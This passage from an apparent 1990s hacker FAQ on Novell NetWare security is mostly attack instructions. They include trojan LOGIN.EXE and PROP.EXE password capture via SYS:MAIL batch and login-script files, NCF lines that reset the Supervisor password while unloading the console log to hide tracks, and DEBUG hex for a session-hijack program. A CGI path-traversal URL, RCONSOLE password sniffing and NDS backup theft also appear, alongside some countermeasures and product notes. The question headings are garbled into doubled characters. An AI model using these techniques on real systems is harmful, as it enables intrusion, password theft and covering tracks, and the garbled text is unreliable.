A - Access control. Enable user to change trustee rights. They will be able to add other users as trustees, remove trustees, and grant/revoke specific rights from users. The only caveat of access control is that it is possible for users to remove themselves (as trustees) from directories, thus losing all access control.

In addition to trustees and access rights, there is a concept of inherited rights which means that users inherit rights from parent directories. For example, if user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the parent directory then she will have [RCWEMF] rights as a result of the inherited rights. This will only work if one of the rights that ALICE has in the two directories is granted to a group; if both are granted to her, she will lose the rights of the parent. [end quote] 2#22#2.#.7#7.#. A#Ar#re#e t#th#he#er#re#e a#an#ny#y d#de#ef#fa#au#ul#lt#t T#Tr#ru#us#st#te#ee#e A#As#ss#si#ig#gn#nm#me#en#nt#ts#s t#th#ha#at#t c#ca#an#n b#be#e e#ex#xp#pl#lo#oi#it#te#ed#d?#?

Two ways. In 3.x the group EVERYONE has Create rights in SYS:MAIL. This means the user (including GUEST) has the ability to write files to any subdirectory in SYS:MAIL. The first versions of Netware included a simple e-mail package, and every user that is created gets a subdirectory in mail with RCWEMF, named after their object ID number. One consistent number is the number 1, which is always assigned to Supervisor. Here's one way to exploit it:

Trick #1 -------- Login as GUEST and change to the SYS:MAIL subdirectory.

- Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that directory (ex. here is C0003043) - Type DIR. If there is no file named LOGIN, you can bet there may not be one for Supervisor. If there is a default-looking LOGIN file, even a zero length file, you cannot proceed.

- Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043 - Create a batch file (ex. here is BOMB.BAT) with the following entries: @ECHO OFF FLAG \LOGIN\LOGIN.EXE N > NUL COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL FLAG \LOGIN\LOGIN.EXE SRO > NUL \MAIL\C0003043\PROP -C > NUL - Create a LOGIN file with the following entries: MAP DISPLAY OFF MAP ERRORS OFF MAP G:=SYS: DRIVE G: COMMAND /C #\MAIL\1\BOMB DRIVE F:

MAP DELETE G: - Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped to

the SYS: volume.

TYPE BOMB.BAT > \MAIL\1\BOMB.BAT TYPE LOGIN > \MAIL\1\LOGIN

- The next time the Supervisor logs in the LOGIN.EXE is replaced and the PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the passwords, and then once you have all the passwords you need (including Supervisor) delete your LOGIN and BOMB.BAT file.

Admins can defeat this by creating default personal Login Scripts or by adding an EXIT command to the end of the System Login Script. Later versions of Netware create a zero-length LOGIN file at ID creation time in the SYS:MAIL directories to defeat this.

Trick #2 -------Pegasus mail has a hole that ties into the Create rights in SYS:MAIL. Here's how to use it: a

- Create a RULES.PMQ file that sets up a rule to execute a file after receipt of mail message. The program Run line should be something like: COMMAND /C F:\MAIL\1\BOMB.BAT

- Let's say your mail directory is SYS:MAIL\C0003043. Copy PROP.EXE and LOGIN.EXE (the itsme version) to that directory.

- Your BOMB.BAT file should be like this: @ECHO OFF FLAG \LOGIN\LOGIN.EXE N > NUL COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL FLAG \LOGIN\LOGIN.EXE SRO > NUL \MAIL\C0003043\PROP -C > NUL - When the Supe reads his mail, the replacement LOGIN.EXE is active and capturing passwords. After acquiring a Supe equiv account, delete the rogue files from SYS:MAIL\1

This Pegasus mail problem will only work if the RULES.PMQ does not exist in the target directory.

Trick #2a --------If the RULES.PMQ file exists, obviously you cannot do this. After all, you can only create new files to these directories. But here's a way to try and trick the Supe into deleting it for you: - Create a bunch of extra rules for Pegasus. Name them RULEA.PMQ through RULER.PMQ, and RULET.PMQ through RULEZ.PMQ. - Next time the Supe logs in and accesses mail, errors.

- The Supe deletes RULE?.PMQ to fix the problem, and RULES.PMQ is also removed.

- Now do Trick #2

2#22#2.#.8#8.#. W#Wh#ha#at#t a#ar#re#e s#so#om#me#e g#ge#en#ne#er#ra#al#l w#wa#ay#ys#s t#to#o e#ex#xp#pl#lo#oi#it#t T#Tr#ru#us#st#te#ee#e R#Ri#ig#gh#ht#ts#s?#?

To find out all your trustee rights, use the WHOAMI /R command. The following section is a summary of what rights to expect, and the purpose. Where x appears, it means it doesn't matter if the right is set.

[SRWCEMFA] means you have FULL rights. They are all eight of the effective rights flags.

[Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent).

It means you have full access in that directory and all subdirectories.

You cannot be excluded from any directory, even if a user explicitly tries to revoke your access in a subdirectory. [xxxxxxxA] is next best thing to the S right. It means you have access control in that directory and all subdirectories. You can have your access control (along with any other rights) revoked in a subdirectory, but you can always use inherited rights to recover them (see the c.o.n.s FAQ). [ R

F ] is what users should have in directories containing software.

You have the right to read files only.

[ RCWEMFx] is what users should have in their home directory. You can read, create, and edit files. If you find any unusual directories with these rights, they can also be used for storing files (maybe an abuse of the network, especially if this is exploited to avoid quota systems). [ RxW

F ] usually means that the directory is used for keeping log files.

Unless you have the C right, it may not be possible to edit files in this directory.

The RIGHTS commands tells you what rights you have in a particular directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.

2#22#2.#.9#9.#. C#Ca#an#n a#ac#cc#ce#es#ss#s t#to#o .#.N#NC#CF#F f#fi#il#le#es#s h#he#el#lp#p m#me#e?#?

Access to any .NCF file can bypass security, as these files are traditionally run from the console and assume the security access of the console. The addition of a few lines to any .NCF file can get you access to that system.

The most vulnerable file would be the AUTOEXEC.NCF file. Adding a couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get you access. But remember there are other .NCF files that can be used and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start and stop Arcserve, the most popular backup system for Netware. The LDREMOTE.NCF as mentioned in section 04-2 is another potential target.

The lines you might add to such a file might be as follows: UNLOAD CONLOG LOAD SETPWD SUPERVISOR SECRET CLS LOAD CONLOG

This assumes you had read/write access to the location of the .NCF file and can copy SETPWD.NLM to the server. Note that by unloading CONLOG you are only partially covering your tracks, in the CONSOLE.LOG

file it will be obvious that CONLOG was unloaded and reloaded. The CLS is to keep your activities off of the server's screen.

The best .NCF for this is obviously one that is either used during the server's boot process or during some automated process. This way a short .NCF and its activities may escape the eyes of an admin during execution.

2#22#2.#.1#10#0.#. C#Ca#an#n s#so#om#me#eo#on#ne#e t#th#hi#in#nk#k t#th#he#ey#y'#'v#ve#e l#lo#og#gg#ge#ed#d o#ou#ut#t a#an#nd#d I#I w#wa#al#lk#k u#up#p a#an#nd#d t#ta#ak#ke#e o#ov#ve#er#r?#?

Yes. Here's how Type the following commands at the DOS prompt (or rip them out of this file, and feed them into DOS debug). debug boo.com e100 eb 2b 80 e110 18 3d 17 e120 50 b0 d2 e130 06 2c 00 e140 1e 01 b8 rcx 50 w q

fc f2 38 cd 21

d7 74 45 21 25

74 0a 02 b8 ba

22 3d 58 21 02

3d 17 75 35 01

02 f2 f2 cd cd

f1 74 f8 21 21

74 05 ca 89 ba

1d ea 02 1e 2d

3d 5b 00 1c 01

19 46 b4 01 cd

f2 4d 49 8c 27

74 5d 8e 06 00

Just run it on a workstation running NetWare 2.x or 3.x, and wait for someone to login, use the machine, logout, and walk away. Oops. They forgot to logout? Now, isn't that just *bad* luck...

Moral: If you are using a public network (such as a school or university), don't just use LOGOUT. Switch the machine OFF. 2#22#2.#.1#11#1.#. W#Wh#ha#at#t o#ot#th#he#er#r N#No#ov#ve#el#ll#l a#an#nd#d t#th#hi#ir#rd#d p#pa#ar#rt#ty#y p#pr#ro#og#gr#ra#am#ms#s h#ha#av#ve#e h#ho#ol#le#es#s t#th#ha#at#t g#gi#iv#ve#e "#"t#to#oo#o m#mu#uc#ch#h a#ac#cc#ce#es#ss#s"#"?#?

Netware NFS has several bugs, as does IntraNetware.

For remote access, hackers always want a Shiva hooked up. You see, if a hacker gets a name from the internal name list, they may not need a user ID and password for a Novell server. If a Shiva user disconnects without logging out, the next person in will be in as that person -Shiva doesn't drop the connection!

2#22#2.#.1#12#2.#. H#Ho#ow#w c#ca#an#n I#I g#ge#et#t a#ar#ro#ou#un#nd#d d#di#is#sk#k s#sp#pa#ac#ce#e r#re#eq#qu#ui#ir#re#em#me#en#nt#ts#s?#?

Some admins forget to implement disk space restrictions on some volumes, but give write access to everyone. This allows you to use

more resources than the supe intended.

Some systems keep user's home directories on one volume, and only restrict disk space on that one volume. Applications and system files will be kept on other volumes. Since some applications require write access to their directories, if the volume space is not limited, any user capable of running the program can use the extra disk space available (an e-mail program like Microsoft Mail on it's own volume leaps to mind). If space isn't limited on SYS, on 3.x there is the SYS:MAIL\xxxxxxxx directory (where xxxxxxxx is your bindery object ID), but this is not there by default in 4.x. However if Pegasus mail is being used, or if the server was migrated from 3.x to 4.x, the directory structure and access may be the same.

2#22#2.#.1#13#3.#. H#Ho#ow#w d#do#o I#I r#re#em#mo#ot#te#el#ly#y r#re#eb#bo#oo#ot#t a#a N#Ne#et#tw#wa#ar#re#e 3#3.#.x#x f#fi#il#le#e s#se#er#rv#ve#er#r?#?

If you have access to a server via RCONSOLE it may come in handy after loading or unloading an NLM to reboot a server. Build an NCF file by doing the following steps - Create a file called DOWNBOY.NCF on your local drive. It should be a text file and contain the following lines: REMOVE DOS DOWN EXIT - Copy up the file to the SYS:SYSTEM directory using RCONSOLE. - At the System Console prompt, type DOWNBOY and enter.

What happens is this - the REMOVE DOS statement frees up the DOS section in server RAM, the server is downed (if there are open files, you will be given one of those "are you sure" messages, answer Y for yes), and the EXIT command tries to return the server console to DOS. But since you removed DOS from RAM, the server is warm booted.

2#22#2.#.1#14#4.#. W#Wh#ha#at#t i#is#s N#Ne#et#tw#wa#ar#re#e N#NF#FS#S a#an#nd#d i#is#s i#it#t s#se#ec#cu#ur#re#e?#?

NFS (Networked File System) is used primarily in Unix to remotely mount a different file system. Its primary purpose in Netware is to allow the server to mount a Unix file system as a Netware volume, allowing Netware users access to Unix data without running IP or logging into the server, and Unix users to mount a Netware volume as a remote file system. If the rights are set up incorrectly you can gain access to a server.

While the product works as described, it is a little hard to administer, as user accounts on both sides must be in sync (name and password) and it can be a fairly manual process to ensure that they are, unless the versions are Netware NFS 2.1 or greater with Netware 4.x AND the Unix side is NOT running NIS. Simply adding the proper UID to the NDS object to create a relationship for rights to be passed

back and forth. There are three modes -- Unix is God, Netware is God, or both are right.

A reported problem with Netware NFS is that after unloading and reloading using the .NCF files, a system mount from the Unix side includes SYS:ETC read only access. If this directory can be looked at from the Unix side after a mount, .NCF and .CFG files could be viewed and their information exploited. For example, SYS:ETC is a possible location of LDREMOTE.NCF, which could include the RCONSOLE password.

On Netware 3.11 if you ask the portmapper for an NFS handle it will give you one. When you give NFS the file handle it will check its LOCAL portmapper and then grant the request. You can then read any file on the mount you just made.

Netware NFS' existence on a server says you have some Unix boxes around somewhere, which may be of interest as another potential system to gain access to.

2#22#2.#.1#15#5.#. C#Ca#an#n s#sn#ni#if#ff#fi#in#ng#g p#pa#ac#ck#ke#et#ts#s h#he#el#lp#p m#me#e b#br#re#ea#ak#k i#in#nt#to#o N#Ne#et#tw#wa#ar#re#e s#se#er#rv#ve#er#rs#s?#?

Yes. If a user is logging in and the password is being transmitted to the server unencrypted, it will show up as plain text in the trace. If the site uses telnet and ftp, capturing those password will come in handy. Outside of gaining access to another system, many users will make their passwords the same across all systems.

RCONSOLE.EXE is the client-launched application that provides a remote server console to a Novell Netware file server. The connection between client and server allows administrators to manage servers as if they were at the physical server console from their desks, and allow virtually any action that would be performed at the server console to be performed remotely, including execution of console commands, uploading of files to the server, and the unloading and loading of Netware Loadable Modules (NLMs). It is not only an effective tool for administrators, it is a prime target for hackers.

A critical point of access to many servers is the actual physical console. This is one of the main reasons why physical security of the server is so important and stressed by security conscious administrators. On many systems you have a level of access with little to no security. Netware is no exception.

The main reason to hack RCONSOLE is to gain access to the Netware server console. No, you aren't physically there, but the OS doesn't know any different. And the main reason to gain access to the Netware server console is to utilize a tool to gain Supervisor access to the Netware server.

During the RCONSOLE process, the password does come across the wire encrypted. If you look at the conversation you will see packets containing the RCONSOLE.EXE being opened, the possible servers to be accessed, etc. This conversation is nothing but NCP packets.

Once RCONSOLE is up on the workstation, the user chooses the server,

hits enter, and is prompted for a password. After entering the password, the conversation contains two 60 byte IPX/SPX packets going back and forth followed by 4 NCP packets, 64 bytes, 60 bytes, 64 bytes, and 310 bytes in length respectively. The next IPX/SPX packet, 186 bytes in length, contains the password. It is located at offset 3Ah, which is easy to find. Offset 38h is always FE and offset 39h is always FF. Now comes the use of a tool called RCON.EXE from itsme that can take some of the information you have collected and turn it into the password. What you need are the first 8 hex bytes starting at offset 3Ah, the network address, and the node address. Now the network and node address are in the header of the packet that contains the encrypted password, but can also get these by typing USERLIST /A which returns this info (and more) for each person logged in.

Now why just the first 8 hex bytes? That's all Novell uses. Great encryption scheme, huh?

2#22#2.#.1#16#6.#. W#Wh#ha#at#t e#el#ls#se#e c#ca#an#n s#sn#ni#if#ff#fi#in#ng#g a#ar#ro#ou#un#nd#d N#Ne#et#tw#wa#ar#re#e g#ge#et#t m#me#e?#?

It has pointed out that RCONSOLE sends screens in plaintext across the network for all to see (well, all with sniffers). This means you can see what is being typed in and what is happening on the screen. While it is not the prettiest stuff to look at, occassional gems are available. The best gem? The RCONSOLE password. The server had been brought up without REMOTE and RSPX being loaded, they were loaded by hand at the console after the server was brought up. The first RCONSOLE session brought up the screen with the lines LOAD REMOTE and LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and this was being sent to the RCONSOLE user's workstation in plaintext.

Teiwaz discovered that SYSCON sends password changes in plaintext.

While SETPASS, LOGIN, MAP, and ATTACH all encrypt the password in 3.x, SYSCON does not.

Einer kindly reminded me that sniffing will show other usernames and passwords such as TELNET, FTP, POP3, and others. Often users use the same passwords from system to system, so these passwords could be used to try on the Netware accounts. In large shops, the administrators of Netware may also have the same passwords for privileged accounts from system to system, so the Admin or Supervisor account may match the root account on a Unix box. Therefore a TELNET session that contains an su to root might reveil the Admin password.

2#22#2.#.1#17#7.#. D#Do#o a#an#ny#y N#Ne#et#tw#wa#ar#re#e u#ut#ti#il#li#it#ti#ie#es#s h#ha#av#ve#e h#ho#ol#le#es#s l#li#ik#ke#e U#Un#ni#ix#x u#ut#ti#il#li#it#ti#ie#es#s?#?

This is a fairly common question, inspired by stack overrun errors, sendmail bugs, and the like that exist in the Unix world. The reason you do not have these kind of exploits in common Netware utilities is because:

+#o

You use a proprietary shell that can be loaded without accessing the server, therefore no shell exploits exist.

+#o

Virtually all Netware utilities do NOT use stdin and stdout, so no stack overruns that exploit anything.

+#o

Since the shell is run locally, not on the server, you have no way to use a utility to gain greater access than you have been granted, like a SUID script in Unix.

+#o

Yes there are utilities like HACK.EXE that grant extra access under certain conditions in 3.11, but no Novell-produced utility comes close to granting extra access.

2#22#2.#.1#18#8.#. W#Wh#he#er#re#e c#ca#an#n I#I g#ge#et#t t#th#he#e N#Ne#et#tw#wa#ar#re#e A#AP#PI#Is#s?#?

Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user license of Netware 4.1. Most brand-name compilers will work, but if you're writing NLMs you'll need Watcom's latest. It's the only one I know of that will do NLM linking.

2#22#2.#.1#19#9.#. A#Ar#re#e t#th#he#er#re#e a#al#lt#te#er#rn#na#at#ti#iv#ve#es#s t#to#o N#Ne#et#tw#wa#ar#re#e'#'s#s A#AP#PI#Is#s?#?

There are a few. Here is info on them Visual ManageWare by HiTecSoft at (602) 970-1025. This product allows development of NLMs and DOS EXEs using a Visual Basic type development environment. Runtime royalty-free development without C/C++ and without Watcom. However links are included for C/C++ programs. The full SDK including compilers is USD$895.00. Pricey but looks good, I have not used this product. Novell recently bought/licensed this product so the availability may have changed.

Adrian Cunnelly recently made his C libs for Netware free. You can reach him at adrian@amcsoft.demon.co.uk. These include the source code. Check SimTel mirrors in the msdos/c/ directory for netclb30.zip And take a look at Greg Miller's site, especially for those Pascal coders out there at http://www.users.mis.net/ gregmi/.

Pandora v3.0 includes its own API, the Pandora Toolbox API, written by Jitsu-Disk. While the project was intended for hackers and not admins, some coders might find it to be a useful package. It is available at http://www.nmrc.org/pandora/index.html <http://www.nmrc.org/pandora/index.html>.

The "GNU Novell Client" project gives a unique insight on the NCP protocol, it can be downloaded at http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz <http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz>.

It has tons of source code included.

2#22#2.#.2#20#0.#.

H#Ho#ow#w c#ca#an#n I#I r#re#em#mo#ov#ve#e N#ND#DS#S?#?

This one is dangerous. This one will get you your Admin account back if you lost the password, and is not for the light-hearted if you plan on actually using NDS afterwards. Do this at a 4.1 console: LOAD INSTALL -DSREMOVE Now in the INSTALL module, go ahead and try to remove NDS. As a part of the process, it will ask you for the Admin password, get this, JUST MAKE ONE UP. If you get errors, no problem. Keep going and you can remove NDS from the server. Even though you gave it the wrong password, it will still let you remove NDS. I told you this one is real wicked...

2#22#2.#.2#21#1.#. W#Wh#ha#at#t a#ar#re#e s#se#ec#cu#ur#ri#it#ty#y c#co#on#ns#si#id#de#er#ra#at#ti#io#on#ns#s r#re#eg#ga#ar#rd#di#in#ng#g p#pa#ar#rt#ti#it#ti#io#on#ns#s o#of#f t#th#he#e t#tr#re#ee#e?#?

Most of this is covered as individual items, but here is a bit regarding partitioning of the tree.

As mentioned in the password section, you can set the bindery context of a server to help you recover a lost ADMIN password. It should be noted that you can only access containers in the current servers partition.

With larger networks things get more complex. For example, a "supervisor" account (one with full access to the file system) may have limited access on another server. The number of possible leaks for intruders grows with the size of the network.

A hacker could exploit this and gain control of other partitions, if any object in the first partition they have compromised has access rights to other directory partitions. Intruders could easily give themselves security equivalence to that object, or change that objects password with SYSCON, then login as that object and access the other partitions.

In other words, if a read/write or master partition is stored on one server, its supervisor can potentially manage all objects in this partition, and since its supervisor's password can be reset from the console, other partitions are at risk.

Read/only replicas of partitions by nature will not allow you to set your bindery context to a container in that area -- they are, duh, read only. Of course the brave can disconnect the server from the network, and run DSREPAIR on that server to change the partition to master, but that's rather extreme.

Novell recommends trying to restrict object rights to their own partition and to create replica partitions only on trusted server.

Let's use an example to illustrate: +#o

Server ACCOUNTING has lots of spreadsheets, documents, and a

database used by the accounting department with all kinds of information. The container ACCT-USERS has the IRF set so that they manage themselves. +#o

There is an account called MAINTENANCE in the ACCT-USERS container that the manager of accounting can reset the password. This is done when the LAN administrators need to perform any kind of maintenance, such as building IDs with tricky access rights, etc. that the accounting manager doesn't know how to do.

+#o

A read/write replica of the partition containing the ACCT-USERS container exists on a server across town in a small sales office. A temporary office clerk hired from a local temp agency has access to the storage closet where this server is kept.

+#o

One afternoon the temporary uses SETPWD.NLM and resets the MAINTENANCE account password.

+#o

The next day (after replication) the temporary rifles through all accounting documents which include payroll and personal information, sales forecasts, future plans for capital expenditure, etc.

2#22#2.#.2#22#2.#. C#Ca#an#n a#a d#de#ep#pa#ar#rt#tm#me#en#nt#t "#"S#Su#up#pe#e"#" b#be#ec#co#om#me#e a#a r#re#eg#gu#ul#la#ar#r A#Ad#dm#mi#in#n t#to#o t#th#he#e e#en#nt#ti#ir#re#e t#tr#re#ee#e?#?

Yes, under certain conditions. Here is an example. +#o

The tree has an OU called LAWDEPT.

+#o

The Admin account is at the root of the tree.

+#o

A departmental supervisor account called FRED is located in LAWDEPT with Admin rights to the LAWDEPT OU (a Trustee of LAWDEPT and supe rights to objects and properties).

+#o

Server LawServer is in the LAWDEPT OU with two bindery contexts, one in the LAWDEPT OU and one at the root (so Admin can login via the bindery if needed)

+#o

Although FRED only has browse at the root, he can run SYSCON and modify the Admin account to gain more access, like say the password.

+#o

If FRED is a psychopath, he can delete the Admin account and render tree management useless.

2#22#2.#.2#23#3.#. A#Ar#re#e t#th#he#er#re#e p#pr#ro#od#du#uc#ct#ts#s t#to#o h#he#el#lp#p i#im#mp#pr#ro#ov#ve#e N#Ne#et#tw#wa#ar#re#e'#'s#s s#se#ec#cu#ur#ri#it#ty#y?#?

While there are a number of products, commercial and shareware/public domain that have some security-related features, the following

products are either really good or have some unique features.

There is a commercial product called SmartPass, which runs as an NLM. Once installed, you can load this and analyze existing passwords for weaknesses. A limited-time free demo can be obtained from the following address: http://www.egsoftware.com/ <http://www.egsoftware.com/> SmartPass will check passwords on the fly, so a user can be forced to use a non-dictionary word for a password.

Another commercial product product that will check from a dictionary word list and simply report if the password is on the list is Bindview NCS. The bindery version is god-awful slow, but completely accurate.

It requires Supe access to run. Bindview can also produce a number of reports. including customized reports to give you all kinds of info on the server and its contents. The new Bindview NDS product is even better. Running as an NLM the password-checking is lightning fast at spitting out account names that are using poor passwords. It can do several thousand checks vs. the one-per-couple-of-seconds speed of the bindery version. You can still use the slow across-the-network method if you desire, but this is only for those who like slow torture. The new reporting features are fabulous, and since they can be customized the wily sys admin can have custom security reports (among other things). http://www.bindview.com/ <http://www.bindview.com/> For doing Auditing on a 3.x version of Netware, try AuditTrack. It will track all access to a directory or individual file by user, which can come in handy for seeing who is doing what. Out of the box Netware 3.11 has virtually no way to track what an individual user is doing, but the AuditTrack NLM helps greatly. E.G. Software, the developer, can be reached at: http://www.egsoftware.com/ <http://www.egsoftware.com/> Intrusion Detection Systems puts out a commercial product called Kane Security Analyst. It is considered by many to the "SATAN" of Netware.

One of its abilities is locating hidden objects in the NDS tree. For a good demo, a 30 day trial version, and more info: http://www.intrusion.com/ <http://www.intrusion.com/> "SafeWord for Netware Connect" is an NLM that does password checks in a Netware Connect environment: http://www.safeword.com/nwcspec.html <http://www.safeword.com/nwcspec.html> There is a product called Password Helper that "enhances" the security around the changing of passwords for 3.x. It is a local EXE/server NLM product that allows non-Supe users to reset passwords.

Which product is best? Two stand out -- Bindview NDS and Kane Security Analyst. KSA is more of a security-type product and has some neat features, but Bindview's customization allows for more details to be

explored. NMRC uses Bindview on its 4.x servers (okay they sent a free copy, but it is still good and if it had sucked I would have told you that. My day job uses it too).

2#22#2.#.2#24#4.#. I#Is#s N#Ne#et#tw#wa#ar#re#e'#'s#s W#We#eb#b s#se#er#rv#ve#er#r s#se#ec#cu#ur#re#e?#?

Novell's Web Server had a HUGE bug. The CGI scripts are Basic programs (yes you are about to hack a server using Basic!) and several are included with the server. One in particular, CONVERT.BAS, takes a file and converts it to HTML and then sends it to the user. Here's an example for www.target.com: http://www.netware.nmrc.org/scripts/convert.bas?readme.txt

The README.TXT file is returned as HTML. Now here's the bug: http://www.netware.nmrc.org/scripts/convert.bas?../../any_file_on_sys_volume

Nasty, huh? I recommend "../../system/autoexec.ncf", or "../../etc/ldremote.ncf". It can also be useful for other things (see 06-2 for an example). This has been fixed in the latest version of Novell's IntranetWare.

2#22#2.#.2#25#5.#. W#Wh#ha#at#t'#'s#s t#th#he#e s#st#to#or#ry#y w#wi#it#th#h N#Ne#et#tw#wa#ar#re#e'#'s#s F#FT#TP#P N#NL#LM#M?#?

With IntranetWare, the FTP NLM has a couple of problems. The standard installation gives Read and File Scan access to SYS:ETC so anonymous users can access files in that directory. This is a problem if you use INETCFG to configure RCONSOLE and then don't go back and encrypt the password in the file. The SNMP community password is in this directory, to say nothing about protocols, addresses, and other configuration information.

The wily Admin can turn off the rights, but guess what? Doing this breaks the logging feature.

The other major problem on Netware 4.1 with FTPSERV.NLM is that some users logging in via FTP are granted excessive rights. Stopping and starting the NLM seems to put the rights back the way they are supposed to, but then they seem to come back to FULL rights. Using Fetch as an FTP client tends to make this happen all of the time.

While it does seem possible that going in and checking effective rights, checking bindery rights via SYSCON, and checking UNICON might turn up something, it seems that installed out of the box 4.1 is vulnerable. I am unsure if 4.11 is affected, but my guess is yes. The problem? If NFS file space isn't used, certain clients like Fetch and Cute FTP will end up with Supe rights to the volume.

2#22#2.#.2#26#6.#. C#Ca#an#n a#an#n I#In#nt#tr#ra#an#ne#et#tW#Wa#ar#re#e s#se#er#rv#ve#er#r b#be#e c#co#om#mp#pr#ro#om#mi#is#se#ed#d f#fr#ro#om#m t#th#he#e I#In#nt#te#er#rn#ne#et#t?#?

This is a tricky question, however it is POSSIBLE. I've been working on the right set of conditions in the lab, and I have got it to happen. However it involves a LOT of conditions. But these conditions are not entirely out of the question.

First, variations on the answers outlined in the previous two questions could be used to gain initial access. For example, if a poorly constructed CGI script was put in place that allowed write access to the server and could be redirected, additions could be added to NCF files.

For example, imagine that a CGI script is in place to add a line of text to a file, such as a mailing list. If this CGI script could be redirected, adding a few lines to SYS:ETC\LDREMOTE.NCF or SYS:SYSTEM\AUTOEXEC.NCF could give you complete access. Such lines might include: UNLOAD REMOTE LOAD REMOTE HACKPASSWORD LOAD XCONSOLE

Now simply telnetting to the server, using "hackpassword", and choosing VT-100 will give you remote console access after the next reboot.

Can't telnet past that NLM-based firewall? Add the commands to the NCF file to simply unload it! You can reload it after you've gained access, if you desire.

Access via Novell's FTP NLM is another problem. If you can gain access to the server via FTP and get read/write access to the SYS: volume, you can alter NCF files and open up all kinds of access.

So what kinds of damage can be done? Grab passwords!

If you have gained access via techniques previously described, you can grab the password file(s). Novell has stated publicly it cannot happen, yet I have done it in the NMRC lab.

First off, the NDS files are located in the SYS:_NETWARE directory.

You would of course have to gain access to these files. And there are a couple of ways to do this. You can use the techniques described in the Netware Console Attack section, which will allow all kinds of things. But let's say the administrator of the server has removed NETBASIC, and you can't upload a file like JCMD.NLM. You are not entirely sunk.

As stated elsewhere in this FAQ, running a BINDFIX on Netware 3.x made

a copy of the bindery files in SYS:SYSTEM. To get that 4.11 backup file, you need to run the equivalent utility from the console. And it is very simple.

1. If possible, wait until no one is logged in, as it will be noticable. During this process no one can log in, although users already logged in should be okay.

2. UNLOAD CONLOG (duh) 3. LOAD DSMAINT 4. Choose the option to prepare for an upgrade.

5. This process creates a complete backup of NDS and the login scripts, and puts it in SYS:SYSTEM. The file is called BACKUP.DS. Use the problem with FTP.NLM to get it, or simply load up FTP.NLM if it isn't running.

2#22#2.#.2#27#7.#. A#Ar#re#e t#th#he#er#re#e a#an#ny#y p#pr#ro#ob#bl#le#em#ms#s w#wi#it#th#h N#No#ov#ve#el#ll#l'#'s#s G#Gr#ro#ou#up#pw#wi#is#se#e?#?

There is some concern about the ability to proxy another user's mailbox and calendar with Groupwise version 5.2. This attack seems to exclude those with admin rights. The hacker is unable to read the user's files, but he can send email representing the hacker as the user. NMRC is investigating this issue and will be sure to post the results.

2#22#2.#.2#28#8.#. A#Ar#re#e t#th#he#er#re#e a#an#ny#y p#pr#ro#ob#bl#le#em#ms#s w#wi#it#th#h N#Ne#et#tw#wa#ar#re#e'#'s#s M#Ma#ac#ci#in#nt#to#os#sh#h n#na#am#me#es#sp#pa#ac#ce#e?#?

A hacker can make changes to the resource fork files without having modify rights. If write rights are removed, the files are secure, but nothing can be added to the directory.

2#22#2.#.2#29#9.#. W#Wh#ha#at#t'#'s#s t#th#he#e s#st#to#or#ry#y w#wi#it#th#h b#bu#uf#ff#fe#er#r o#ov#ve#er#rf#fl#lo#ow#ws#s o#on#n N#Ne#et#tw#wa#ar#re#e?#?

Buffer overflows do exist on Netware. Most buffer overflow exploits try to get the CPU to execute arbitrary code to gain higher levels of access to a system. Even though Novell says Netware NLMs run in protected memory and that problems with NLMs should not bother other NLMs, basically all Netware buffer overflows simply abend the server.

This is the basis for many Denial of Service attacks against Netware.

2#23#3.#. N#Ne#et#tw#wa#ar#re#e M#Ma#at#th#he#em#ma#at#ti#ic#ca#al#l/#/T#Th#he#eo#or#re#et#ti#ic#ca#al#l I#In#nf#fo#o This section has information regarding Netware, crypto, math, and theories regarding all of this.

2#23#3.#.1#1.#. H#Ho#ow#w d#do#oe#es#s t#th#he#e w#wh#ho#ol#le#e p#pa#as#ss#sw#wo#or#rd#d/#/l#lo#og#gi#in#n/#/e#en#nc#cr#ry#yp#pt#ti#io#on#n t#th#hi#in#ng#g w#wo#or#rk#k?#?

In 3.x and 4.x, passwords are encrypted. Here is the rough way in which 3.x handles this 1. Alice sends a login request to the server.

2. The server looks up Alice's name and retreives her UID. The server also generates a random value R, and sends the (UID,R) pair to Alice.

3. Alice generates X=hash(UID,password) then Y=hash(R,X). Alice then sends Y to the server.

4. The server retreives the stored value X'=hash(UID,password), and computes Y'=hash(X',R). If Y=Y' Alice is granted access.

5. Both Alice and the server compute Z=hash(X,R,c) (c is some constant value). Z is then used as the signature key for the current session.

Note: The last step is only done if both Alice and the server agree to sign packets.

The NetWare 4.x login sequence (4.x uses a private/public key scheme using RSA): 1. Alice requests a login from the server.

2. The server generates a random value R, and retrieves X'=hash(UID, password), and also computes Y'=hash(X',R). R is sent to Alice.

3. Alice computes X=hash(UID,password) and Y=hash(X,R). Alice generates a random value R2, retrieves the servers public key and sends the pair (Y,R2) to the server encrypted with the server's public key.

4. The server decrypted the (Y,R2) pair. If Y=Y', the password Alice gave is correct. The server retrieves Alice's private key, computes Z=(Alice's private key XOR R2) and transmits Z to Alice.

5. Alice computes private_key=R2 XOR Z. This key is used to sign packets.

It should be noted that Netware 4.x encrypts Alice's RSA private key with X' when it's stored on the server.

2#23#3.#.2#2.#. A#Ar#re#e "#"m#ma#an#n i#in#n t#th#he#e m#mi#id#dd#dl#le#e"#" a#at#tt#ta#ac#ck#ks#s p#po#os#ss#si#ib#bl#le#e?#?

In theory, by looking at the methods outlined in the previous question, there are several possibilities. First, Netware 3.x -

This is a variation of the Man-In-The-Middle attack used to attack public key cryptosystems. A real MITM attack will also work, but the link must be shut down in order to implement a MITM attack, and someone is likely to know something is up.

This attack requires that Bob (the attacker) be capable of sending packets to both the server and Alice (the user attempting to login) faster than the server and Alice can send packets to each other. There are a number of ways to set up this scenario. The best way is to implement a MITM attack by either by attacking a router, or by segmenting the wire between the server and Alice.

